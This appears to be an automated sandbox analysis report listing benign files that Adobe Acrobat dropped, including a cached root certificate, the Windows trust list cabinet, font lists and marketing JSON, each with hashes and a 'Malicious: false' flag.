Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkllhGGbPtfllXlE/HT8kjhhlltNNX8RolJuRdxLlGB9lQRYwpDdt:kKiDeT8qhRNMa8RdWBwRd
MD5:	361086667477271E93A8B9F266E0A87C
SHA1:	DB1DF1F4046A55B79EDBC2370D6857148FC996AE
SHA-256:	32CDB1D76656889620D16527FFB0CB76B8FCE6DA76883F0E795C05D5D790B12C
SHA-512:	CA70285F34AA659421713559630386F285E9EA3613A7A5B129B9EB04CC79FF3F198698F3E0331ABDBEEEC2C012F7C952523D42522B74E7053D525BEF9ACAC9B9
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2269992301433117
Encrypted:	false
SSDEEP:	6:kK+L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:miDImsLNkPlE99SNxAhUe/3
MD5:	1A18EF26D31D2DB7CDCE5C43169D0DE8
SHA1:	6351FB795F0C2FC9AE748A8DB5B730E333A126CD
SHA-256:	2533125FBF1116DA41EDC13085F02E69CC47D2BDCA66E938CC88D1A7E853F974
SHA-512:	B3593DC87A330BBFBD5B203C836DB97A85BA0132259281993B01172473C469C33477B273617A67EEDA696C3119E1ECB0ED6179336D9A14B2F1F61823B1ACDB05
Malicious:	false
Preview:	p...... ........yn3*.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6240

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6240

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.338395413436324
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJM3g98kUwPeUkwRe9:YvXKX/JSELT5LjIPCGtGMbLUkee9
MD5:	446DB19AF48D903B11C4F9402E5B4F48
SHA1:	F11807809B03D5DB0E5D27827F7D366D8B84EC57
SHA-256:	B0C8004C7B2BCF694F0CD2C43B5902FE822DF388883A87149AB39764956ABD71
SHA-512:	9F6A01B021E3D110C8DF14C599D9564594A02538C0EAFE8DDC2FB02ADABC724A1FED2E9ABE39BD519BD434E69DE6C209984F9D8F6CB2F394D6155F3E4170235D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.288324507245233
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJfBoTfXpnrPeUkwRe9:YvXKX/JSELT5LjIPCGtGWTfXcUkee9
MD5:	73C5281A9EBCEEFA5123652EAB13E3D2
SHA1:	FEDFD99F99DB0793E50F5B548CC21202F34AD0E6
SHA-256:	D57FAC7E513FDE3066370DE2E6A1F17D4900C5782A447926428C188EF7A71DFC
SHA-512:	69D4C03988D4E669CCE4C91AB2FDD418B72D1054B9A1A9AFDB06A92E5158ABE158D5DEF24BA2FE5F9C58E750AF683D9B9D3E152BD7ADAE7EF73E3404815B03B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.267592301159902
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJfBD2G6UpnrPeUkwRe9:YvXKX/JSELT5LjIPCGtGR22cUkee9
MD5:	FEF161A58083FBE5EFB038E21E68B239
SHA1:	4F707C5CCA23CB60790837649A9062055EA8B4AC
SHA-256:	B6CC75AD95CC0E599182DF75483F6985D902C9553DB5517C2DCCA817BC3F38EB
SHA-512:	2EFFFD6D92C24CEE0768EBE0E3C122B8C83E5C4D35B151EF656356D365E6D29D4338AD6CB557DB124A3587FA3C976E8B23EF32B51D01B89D0A7D106D4EB46587
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.318521376771175
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJfPmwrPeUkwRe9:YvXKX/JSELT5LjIPCGtGH56Ukee9
MD5:	00206F77B8ABC455FE6A5BD1121E5195
SHA1:	0A5165D8E4F808F8C0D29CF9DF1FEA77F7DB4E2A
SHA-256:	A526E317675AB90A684746F076CBFB912EE47B20A46D1DE1C2D14688E511E8C9
SHA-512:	129BE3B8F8ED868DED0D67FDC32656C2258FC4F799D50196B01A3D0AEF6B386DB2FD7968E49E842C509962F2FE2EB73168064027D28D5129E7D9668541DB6A95
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691248022917445
Encrypted:	false
SSDEEP:	24:Yv6XBSELT5XIcpLgE9cQx8LennAvzBvkn0RCmK8czOCCS4E:YvyBXFhgy6SAFv5Ah8cv/B
MD5:	D13B9550817F9B2771127C0679CA9689
SHA1:	D34D4F94870C0507AFA1AC0691F127D6998A13B9
SHA-256:	A5821A2FDD7FE33BF0EAFDBC464CB7700D3155CC222388D57B8947CFE476E3E5
SHA-512:	73D80E8B4B6A81DEB317DD77AFF235A9AF6739454AD670B7ADFB2EDEAE3CD93EB91553B56BCA1D49FAC14271399E244514E62966BEA762159B816D6207B97232
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288869446670957
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJf8dPeUkwRe9:YvXKX/JSELT5LjIPCGtGU8Ukee9
MD5:	D9EDDFB7ECAB0770423C2C7A3B82C1E9
SHA1:	FD8C8186EF1BCC6BD876A8EC047B5380B4CFC9EC
SHA-256:	BAD52C6AEE3F082752E44DD3966C02BE2814D38563F2A2581DD87AA28CC3880C
SHA-512:	57E5CBAAEC4EEF6D89582CF1C7B58BD3C12C4F34CF46A20BA687CAE5B4911603E09F1EE40DE2B1090656F804DDA9DFE97F0AD7CCF883EA00B2EB73AC7B2F5806
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.281073613192049
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJfQ1rPeUkwRe9:YvXKX/JSELT5LjIPCGtGY16Ukee9
MD5:	D7BA8D08E9AC1E7957F018C178CB5859
SHA1:	5A9ACEE94A7B92E26ED060384D256021ACC6C42B
SHA-256:	D15DEDC853067F810409699F800C13D4A75C3D93EE1EEB69FC8815CD21DD56F2
SHA-512:	FF50CC6A42EF15AFB8CA1BD1E5C8A91D77E0D947946E29BA2E1D15EDE2D50F06D67415F769500112847CE0EF14BCA568AA0BEADEBD6FA4BCE9EBB115148B3C0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297607020717712
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJfFldPeUkwRe9:YvXKX/JSELT5LjIPCGtGz8Ukee9
MD5:	B22B8D69A57D8E54FD1358CB0680FBD7
SHA1:	316C70215053831461734A800E5336864BBC57FA
SHA-256:	ED49196F704247BE078B0FCD151E54978D15096DC3C533E816E062E424888A56
SHA-512:	B97A237CCB83BA7998B2B6AE296586B624B4561CCF683B9DEE588FE49EE323DCD5AA1934916E88E71543429AA471DBA080993D798EBB0174AFAE60BED250B91E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.313692210884236
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJfzdPeUkwRe9:YvXKX/JSELT5LjIPCGtGb8Ukee9
MD5:	1442F7B5C4EF9222A4CFBEBD8B4E7024
SHA1:	6C3718D77AF8090308B9619647EE32BA14718E1C
SHA-256:	35410306CBA3556B11D3FA079C62C3E526EAEA7B4925C41952CD7F4A7A13DF72
SHA-512:	36BA67470D7EEB068ACB4412B568F71919C5825103E82B144A7D3517B540F85CB38EF11231F34CE168EBCB95861FF7BEE71897E672D459D5260038C6EDE608AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"32fa02ca-57ee-4fb7-81a0-7d01a5ea9905","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736722168974,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295008250528839
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/JSEiSP8nmSg1c2LjcWkHvR0YeGDKoAvJfYdPeUkwRe9:YvXKX/JSELT5LjIPCGtGg8Ukee9
MD5:	B6C2894B5444E05B11DB92A2AACB8558
SHA1:	1BD064F69DE9B195CE6D22C0B0D59C3C8AE8D172
